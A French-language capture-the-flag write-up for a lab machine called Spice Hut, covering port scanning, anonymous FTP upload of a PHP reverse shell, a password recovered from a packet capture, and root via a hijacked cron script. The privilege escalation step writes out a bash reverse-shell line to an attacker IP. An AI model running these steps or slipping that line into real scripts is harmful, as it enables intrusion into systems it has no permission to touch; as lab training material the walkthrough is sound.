What’s up guys ? Un CTF épicé ça vous dit ? Alors, effectuons un test de pénétration approfondi et essayons d’avoir les privilèges root sur le site Spice Hut, une nouvelle startup qui vient de réussir !
Prêt ? here we go !
Flag 1 :
On commence toujours par effectuer un scan network pour déterminer les ports ouverts et les services exécutés :
nmap -A -sV -p- 10.10.32.223
Maintenant que nous avons quelques informations, commençons par le service ftp. On voit qu’il est actif et il y a la possibilité de se connecter avec : user = anonymous et sans password.
Pour cela, utilisez la commande : ftp IP_address
Bingo ! on est connecté. On a un répertoire ftp où l’on peut ajouter un fichier (malveillant), tapez la commande : cd ftp pour vous déplacer vers celui-ci. Il y a les droits d’écriture sur ce dernier.
Avant d’aller plus loin, scrutons la partie web et essayons de trouver des répertoires cachés. On pourra retrouver le script envoyé probablement dans une des parties cachées 😉.
Rien d’intéressant de ce côté, utilisez l’outil gobuster pour brute forcer les répertoires cachés :
gobuster dir -u http://IP_ADDRESS/ -w /usr/share/wordlists/dirb/common.txt
Voilà nous avons un sous domaine : files
Allez visiter !
Après réflexion, on en déduit qu’il faut récupérer un php_reverse_shell pour accéder à la machine cible. Pour cela nous allons envoyer un script (pentestmonkey) pour avoir notre accès.
Téléchargez ou rédigez un script, puis entrez les paramètres suivants : adresse ip et port
Maintenant, il faut se connecter au server ftp puis envoyer notre script. Commande : put fichier.php
Là, vous devez lancer une écoute avec netcat et allez sur le server web (/files), FTP puis cliquez sur votre script :
nc -lvnp 443
Et voilà, nous avons notre php_reverse_shell. Cherchons la recette secrète de la soupe épicée. Pour cela, listez le contenu du répertoire actuel avec la commande ls :
Affichez le contenu du fichier recipe.txt avec la commande : cat recipe.txt
C’est ok pour notre premier flag : love
Flag 2 :
Nous devons aller plus loin en retrouvant le deuxième flag : user.txt
Vous vous rappelez le contenu de la racine / ? Il y avait un dossier incidents, allons voir ce que l’on peut trouver à l’intérieur : cd incidents puis ls
Il y a un fichier suspicious.pcapng, c’est un fichier avec extension d’un analyseur de réseau. Nous pouvons l’ouvrir avec l’outil Wireshark ou ettercap. Nous allons utiliser Wireshark, mais d’abord il faut télécharger le fichier. Dans un premier temps, changeons notre shell avec la commande suivante :
python -c 'import pty;pty.spawn (‘’/bin/bash’’)’
puis copiez le fichier vers le répertoire /ftp : cp suspicious.pcapg /var/www/html/files/ftp/
Allez sur le server web et dans le répertoire ftp pour télécharger notre fichier :
Maintenant depuis un autre terminal, tapez la commande whireshark suspicious.pcapng, puis utilisez le filtre tcp_stream eq 0 ou 1 ou 2 … j’ai dû utilisé le 7 pour trouver les informations recherchées :
Super ! nous avons le password (c4ntg3t3n0ughsp1c3) de l’utilisateur lennie, connectons-nous en ssh :
ssh lennie@10.10.32.223
Yeahh ! nous sommes maintenant lennie, récupérons le flag user.txt :
Commande : ls et cat user.txt
Flag 3 :
Il nous reste le flag root.txt, explorons le contenu du répertoire de lennie :
Commandes : ls et cat planner.sh
Commande : cat /etc/print.sh
Nous allons essayer d’introduire un autre script à l’intérieur du fichier print.sh pour qu’il soit exécuté par cron et avoir un autre reverse_shell. (j’avais déjà vu ce type de fichier dans un autre CTF 😉)
Commandes : cd /etc
et nano print.sh
Script à ajouter : bash -i >& /dev/tcp/10.8.218.133/80 0>&1
Dans un autre terminal lancez une écoute : nc -lvnp 80
Bingo !! Nous sommes root, allons chercher notre dernier flag .
Commandes : ls et cat root.txt
Et c’est terminé pour ce CTF, dans l’ensemble très sympa mais un petit peu compliqué vers la fin côté escalades de privilèges. Le début est assez simple pour les débutants, en tout cas un bon moyen d’évoluer. Le fait d’avoir vu une similitude dans un CTF précédent m’a bien aidé, merci à vous d’avoir suivi ce write_up.
Si vous avez des questions ou des difficultés n’hésitez pas à me contacter ou laisser un commentaire, on se retrouve dans un prochain challenge PEACE !
Ps : si vous voulez un article sur un CTF particulier contactez moi !
One response
You are so interesting! I don’t believe I’ve truly read a single thing like this before.
So wonderful to find somebody with a few unique thoughts on this subject.
Really.. thank you for starting this up. This web site is one thing that’s needed
on the web, someone with some originality!